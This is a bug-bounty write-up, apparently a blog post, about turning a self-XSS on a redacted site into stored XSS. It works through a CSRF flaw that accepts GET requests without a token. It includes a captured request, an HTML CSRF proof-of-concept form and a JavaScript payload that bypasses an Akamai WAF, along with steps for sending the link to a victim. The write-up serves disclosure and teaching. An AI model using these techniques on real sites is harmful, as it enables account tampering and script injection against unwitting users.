How I Escalated Self-Xss to Stored-Xss

Mohammad-Nouri Almohammad
4 min readMar 5, 2024

--

Before going into details, I want to write about myself
My name is Mohammad-Nouri Al-Mohammad, a fourth-year student at the Faculty of Information Engineering at the University of Aleppo and a Security Researcher from Syria
A year ago, I entered the field of bug hunting, and this is my first write-up
Regardless of the problems we face as Security Researchers from Syria, we are doing a great hunting

Let’s talk about this finding ^_^

Several months ago, I was hunting in VDP program and I found an interesting vulnerability that I wanted to write about
We will call the target redacted.com -_-

Because the program have a very large scope
I used several methods to calculate the subdomains
To get the most, I merging output of subfinder, Wayback Machine, amass with passive mode , and crt.sh etc …

Finally, run httpx with the final output

Find Target

After spend some time with enumeration, I found an interesting subdomain, which appears the site belongs to private users. When you open site, it redirects you to another page that says you must have an invitation to be able to access it.
Let’s call this subdomain local.redacted.com !

In this case, the first thing that comes to mind is fuzzing
But no result
go back to enum and this is the key by using Google dorks :)

site:local.redacted.com

I got a lot of results

When I entered some of them, I found a registration page

I registered a new account with some special characters in the first name field, last name, etc..

After that I went to my account info
the address field affected with Xss vulnerability
But there is no impact and it considered as a self XSS because no one can view your account or your address

CSRF

In this case,

1-you need to find a CSRF on the login page to log a user into your account

2-or you must find CSRF in Function that changes your address and force a user to change his address to the Xss payload.

Okay, let’s find this CSRF
I changed my address while capturing the request with Burp the request have a token called csrf_token I tried to get around it but i get nothing

On the other hand, I found that you can add another address

i add new address with capturing request and this time the token parameter called “token” when i delete it the server accept request but the Server check Referer header i try to send the request without Referer header but the Server blocking request

It occurred to me to change the method of request and when i change the request method to GET the server accept it :)

POST /account/add-new-address HTTP/2
Host: local.redacted.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 261
Referer: https://local.redacted.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Pwnfox-Color: red
Te: trailers

token=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&address1=Xss_here&address2=test&city=test&countryName=US&state=AZ&postalCode=12321&phoneNumber=1111111111&phoneType=Hom&alPhno=&alPhType=

the final

https://local.redacted.com/account/add-new-address?address1=Xss_here&address2=test&city=test&countryName=US&state=AZ&postalCode=12321&phoneNumber=1111111111&phoneType=Hom&alPhno=&alPhType=
<html>
<body>
<form method="GET" action="https://local.redacted.com/account/add-new-address">
<input type="hidden" name="address1" value="Xss here"/>
<input type="hidden" name="address2" value="test"/>
<input type="hidden" name="city" value="test"/>
<input type="hidden" name="countryName" value="US"/>
<input type="hidden" name="state" value="AZ"/>
<input type="hidden" name="postalCode" value="11111"/>
<input type="hidden" name="phoneNumber" value="1111111111"/>
<input type="hidden" name="phoneType" value="Hom"/>
<input type="hidden" name="alPhno" value=""/>
<input type="submit" value="Submit">
</form>
</body>
<html>

WAF Bypass

So far everything is fine but Akamai WAF will not leave you alone
I can only inject simple HTML payloads, otherwise the WAF block the requests

Returning to the way in which reflection occurs, There are many places where reflection occurs, one of them is into a JavaScript string

It would be easier to write the payload in JS only without using HTML tags, but I do not have enough skills to write crazy JS codes :)
So I asked for the help of my friend Mouhannad Al-Hmedi , king of JS, He bypassed WAF in one minute *-*

";let y='rt',x='ale';window[x+y]('Xss')//

Good
Here everything is ready
To exploit this vulnerability, you send a link to victim’s this will add a new address to the victim’s account. The address is a very beautiful JavaScript code !!

Reproduction steps in brief

1- use google dorks to get registration page
2- create new account
3- add new address to your account and capture the request
4- delete CSRF token and change the request method from POST to GET with inject Xss to address value
5- copy url or create CSRF PoC
6- send it to victim

The Bug has been triaged with high Severity

Thanks for reading :)

--

--